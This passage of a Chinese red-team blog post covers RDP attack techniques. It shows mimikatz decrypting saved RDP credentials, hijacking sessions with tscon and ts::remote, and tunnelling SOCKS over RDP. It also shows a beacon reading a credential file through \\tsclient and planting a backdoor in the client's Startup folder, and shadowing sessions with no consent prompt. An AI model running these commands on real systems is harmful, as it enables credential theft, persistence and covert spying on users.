  pbSign             : f776ff8611228511d6c93bd259caeea4bdf66908fc9a79c6c5841d85bb340f02489972d82ca9124bf6adc48ac6c4341a2012dc070a3d6c9b1c850d29298bd4a0

Decrypting Credential:
 * volatile cache: GUID:{52c3460d-2e8b-4764-957c-57185d4d62b2};KeyHash:b53ebc9462b9cf6284f116b46d3a869091cc398f;Key:available
 * masterkey     : 6beeec39772b606a7ac31f190d3c5cab56e00bd0bef7fe898cc826b12930a402b3163877d3a4d9aadafc2457a31ab2b35522b711c2512156db940ddf350c27f7
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 000000e0 - 224
  credUnk0       : 00000000 - 0

  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 2023-11-24 7:30:06
  unkFlagsOrSize : 00000018 - 24
  Persist        : 00000002 - 2 - local_machine
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:target=TERMSRV/192.168.70.130
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : DESKTOP-TEST\administrator
  CredentialBlob : Admin@123
  Attributes     : 0

mimikatz # dpapi::cred /in:84BD531FDD20A7ED510558FA8768BA20 /masterkey:9458e389d675c03e3134abca123a5f97b0344db9ec7eb77ca65e962ed238d3d9d62ba12e9b227587df8f430762790758c7a1dcf8f0baad587c0301305e088205
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {52c3460d-2e8b-4764-957c-57185d4d62b2}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000012 - 18
  szDescription      : 本地凭据数据

  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : cbc61bdb2a8cda88dafb2c090aaf64b6c8edfc5f32a134839f083fa469a95c7f
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : 3c157c9d67b4e62952b3f8b72d841a35cff4d012e46c2c8f91e4e21af8a91e45
  dwDataLen          : 000000f0 - 240
  pbData             : 3e705a067361549290c628f53ae625d3961d29c2eeba9ba24270723dc3021ad8f6bb9e29c474951492d3ae470daf715825b33652607967a9394f0d10b7e35a34c57396d41e9faba5ea89fe969a7ead9e76035dfe3aff6c2b7d6332ea0b2fec5ea2eca2ad1054808dab04d17e4a818f2fbe0aed21b3e217604f2b52e04736c77349f0455c832af7120ffb1eda7dd3b5fc6214f697564e28b2c916d8ab926ffc65571e6475ca7d746e63d4b919519970233359ef2c547f2f3422b9d4199e1f4bcc3f5d034f6d47da39469331fa31adacefaba7dd7aae4b6fb3fea8a873815336cff1c62bb60b2fdbb69647c520a01550f6
  dwSignLen          : 00000040 - 64
  pbSign             : f776ff8611228511d6c93bd259caeea4bdf66908fc9a79c6c5841d85bb340f02489972d82ca9124bf6adc48ac6c4341a2012dc070a3d6c9b1c850d29298bd4a0

Decrypting Credential:
 * volatile cache: GUID:{52c3460d-2e8b-4764-957c-57185d4d62b2};KeyHash:b53ebc9462b9cf6284f116b46d3a869091cc398f;Key:available
 * masterkey     : 9458e389d675c03e3134abca123a5f97b0344db9ec7eb77ca65e962ed238d3d9d62ba12e9b227587df8f430762790758c7a1dcf8f0baad587c0301305e088205
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 000000e0 - 224
  credUnk0       : 00000000 - 0

  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 2023-11-24 7:30:06
  unkFlagsOrSize : 00000018 - 24
  Persist        : 00000002 - 2 - local_machine
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:target=TERMSRV/192.168.70.130
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : DESKTOP-TEST\administrator
  CredentialBlob : Admin@123
  Attributes     : 0

TargetName - 目标主机;UserName - 用户名;CredentialBlob - 解密后的明文密码。

RDP Session Hijacking

对于开启远程桌面服务的 Windows Server 系统,当有多个不同用户登录该系统时,会产生多个 RDP 会话。在劫持其它登录的用户时,会将目标用户挤下去。(非服务器版本的 Windows 系统默认只允许一个账户登录)


获取每个用户对应的会话信息:

1
2
3
4
5
6
7
8
9
10
11
12
C:\Users\Administrator\Desktop>quser
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
>administrator         rdp-tcp#3           2  Active          .  9/27/2023 10:21 PM
 test                  rdp-tcp#4           3  Active          8  9/27/2023 10:28 PM

C:\Users\Administrator\Desktop>qwinsta
 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
 services                                    0  Disc
>rdp-tcp#3         Administrator             2  Active
 rdp-tcp#4         test                      3  Active
 console                                     4  Conn
 rdp-tcp                                 65536  Listen

cmd - tscon

可以利用 PsExec 从 administrator 到 SYSTEM 权限进行操作,创建服务使用 tscon 命令对目标进行 RDP 会话劫持:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
C:\Users\Administrator\Desktop>quser
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON     TIME
>administrator         rdp-tcp#9           2  Active          .  9/27/2023 10:21 PM
 test                  rdp-tcp#10          3  Active          4  9/27/2023 10:28 PM

C:\Users\Administrator\Desktop>.\PsExec64.exe -s -accepteula cmd

PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>sc create sesshijack binpath= "cmd.exe /k tscon 3 /dest:rdp-tcp#9"
[SC] CreateService SUCCESS

C:\Windows\system32>net start sesshijack

The service is not responding to the control function.
C:\Windows\system32>
More help is available by typing NET HELPMSG 2186.

mimikatz - ts::remote

以下是使用 mimikatz 劫持 test 用户的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

368 {0;000003e7} 0 D 17195      NT AUTHORITY\SYSTEM S-1-5-18 (04g,20p) Primary
 -> Impersonated !
 * Process Token : {0;0005a226} 2 D 1547641    10_0_8_17\Administrator S-1-5-21-3697670079-2126774415-1611505882-500 (14g,23p) Primary
 * Thread Token  : {0;000003e7} 0 D 1568236    NT AUTHORITY\SYSTEM S-1-5-18 (04g,20p) Impersonation (Delegation)

mimikatz # ts::sessions

Session: 0 - Services
  state: Disconnected (4)
  user :  @
  curr : 9/27/2023 10:56:14 PM
  lock : no

Session: *2 - RDP-Tcp#7
  state: Active (0)
  user : Administrator @ 10_0_8_17
  Conn : 9/27/2023 10:53:56 PM
  disc : 9/27/2023 10:53:56 PM
  logon: 9/27/2023 10:21:56 PM
  last : 9/27/2023 10:56:14 PM
  curr : 9/27/2023 10:56:14 PM
  lock : no
  addr4: xx.xx.xx.xx

Session: 3 - RDP-Tcp#8
  state: Active (0)
  user : test @ 10_0_8_17
  Conn : 9/27/2023 10:56:06 PM
  disc : 9/27/2023 10:56:06 PM
  logon: 9/27/2023 10:28:00 PM
  last : 9/27/2023 10:56:10 PM
  curr : 9/27/2023 10:56:14 PM
  lock : no
  addr4: xx.xx.xx.xx

Session: 4 - Console
  state: Connected (1)
  user :  @
  Conn : 9/27/2023 10:47:54 PM
  curr : 9/27/2023 10:56:14 PM
  lock : no

Session: 65536 - RDP-Tcp
  state: Listen (6)
  user :  @
  lock : no

mimikatz # ts::remote /id:3
Asking to connect from 3 to current session

> Connected to 3

mimikatz # exit
Bye!

其它工具:

https://github.com/crazywifi/RDP_SessionHijacking

https://github.com/bohops/SharpRDPHijack

RDP and SOCKS Tunneling

使用 SocksOverRDP 利用 RDP 协议搭建 SOCKS 服务:

1
2
3
4
5
6
7
8
9
10
11
# 注册 dll(会弹出通知窗)
regsvr32.exe SocksOverRDP-Plugin.dll
# 配置 SOCKS 服务地址为 0.0.0.0
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Terminal Server Client\Default\AddIns\SocksOverRDP-Plugin" /v "ip" /t REG_SZ /d 0.0.0.0 /f
# 配置 SOCKS 服务端口为 1080
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Terminal Server Client\Default\AddIns\SocksOverRDP-Plugin" /v "port" /t REG_SZ /d 1080 /f
# 运行 SOCKS 服务
SocksOverRDP-Server.exe

# 取消注册 dll
regsvr32.exe /u SocksOverRDP-Plugin.dll

TSClient

tsclient 是通过远程桌面连接到远程计算机时,在远程计算机「网上邻居」中出现的一个机器名,实际为远程计算机分配给本机的名称。

在远程计算机中,可以通过 \\tsclient\盘符 访问用户(RDP 客户端)本地计算机。其访问方式类似于使用 smb 进行文件传输,虽然本质上都是 smb 协议,但是使用 tsclient 无需身份认证。


限制条件:默认情况下 mstsc 是不开启磁盘共享功能的,必须要手工开启。

开启方法,如图所示:

image.png

  • 打开“远程桌面连接 (mstsc)”选择“本地资源”选项卡;
  • 点击“本地设备和资源”下的“详细信息”;
  • 配置想要共享到远程计算机的本地磁盘驱动器。

虽然限制条件较为苛刻,但在实际环境中,很多运维人员为了方便操作,通常会挂载本地磁盘,因此这一方法并非全然无用,需要根据实际情况判断。

当发现有用户(运维)正在使用远程桌面连接该服务器时:

1
2
3
4
5
6
7
8
9
beacon> shell qwinsta
[*] Tasked beacon to run: qwinsta
[+] host called home, sent: 38 bytes
[+] received output:
 会话名            用户名                   ID  状态    类型        设备
>services                                    0  断开
 console                                     1  已连接
 rdp-tcp#0         John                      2  运行中
 rdp-tcp                                 65536  侦听

可以尝试偷取该用户的身份令牌,以该用户的身份执行 net use 命令,如果查看到如下网络连接,则表示该用户在连接远程服务器时开启了 tsclient 磁盘挂载:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
beacon> shell whoami
[*] Tasked beacon to run: whoami
[+] host called home, sent: 37 bytes
[+] received output:
win-web\john

beacon> shell net use
[*] Tasked beacon to run: net use
[+] host called home, sent: 38 bytes
[+] received output:
会记录新的网络连接。


状态       本地        远程                      网络

-------------------------------------------------------------------------------
                       \\TSCLIENT\C              Microsoft Terminal Services
命令成功完成。

注:只有远程登录的用户可以访问 tsclient,其他用户无法访问,包括使用 runas 也无法访问。

此时,可以通过 tsclient 读取该用户(RDP 客户端)本地磁盘中的文件:

1
2
3
4
5
6
7
beacon> shell type \\TSCLIENT\C\credential.txt
[*] Tasked beacon to run: type \\TSCLIENT\C\credential.txt
[+] host called home, sent: 63 bytes
[+] received output:
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#

Do you know how to hijack Image?

还可以向磁盘(用户开机启动项)中写入恶意文件,当机器重启时就会执行恶意文件:

1
2
3
# Upload backdoor to startup folder
beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\pivot.exe

可用工具:https://github.com/mdsecactivebreach/RDPInception/

预防(风险控制)的方法:虽然 mstsc 在配置挂载磁盘时无法直接选择文件夹,但可以利用 subst 命令将指定的文件夹挂载成磁盘驱动器,实现将远程主机的读写范围限缩在指定文件夹。

1
2
3
4
5
6
7
8
9
PS C:\Windows\System32> # 创建虚拟驱动器
PS C:\Windows\System32> subst T: C:\Temp\RdpTransfer
PS C:\Windows\System32> wmic logicaldisk get deviceid,volumename
DeviceID  VolumeName
C:        Windows-SSD
T:        Windows-SSD

PS C:\Windows\System32> # 删除替换的(虚拟)驱动器
PS C:\Windows\System32> subst /d T:

Shadow Mode

该模式类似于 “向日葵”、“Teamviewer”、“ToDesk” 这类远程控制软件的效果。(不会将正在进行远程桌面连接的用户挤下线)


需要修改目标机器 GPO(Group Policy Objects,组策略对象)配置 RD Shadow 连接选项:

1
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 2 /f

注:当 Shadow 值为 2 时,表示未经用户许可完全控制;为 4 时,表示未经用户许可查看会话。此处的 “未经用户许可” 是指不会在远程主机上弹框并等待用户点击确认,不是指在连接远程主机时不需要提供用户凭据。

使用影子模式连接远程主机,并使用 /noConsentPrompt 参数,远程主机上不会弹出提示框:

1
mstsc.exe /shadow:1 /v:192.168.70.128 /prompt /control /noConsentPrompt

不添加 /control 参数,只查看别人在远程主机上的操作,而不能对其进行操作;

不添加 /prompt 参数,表示使用当前的用户凭据去连接远程主机。

References

本文由作者按照 CC BY 4.0 进行授权

© h0ny. 保留部分权利。

本站由 Jekyll 生成,采用 Chirpy 主题。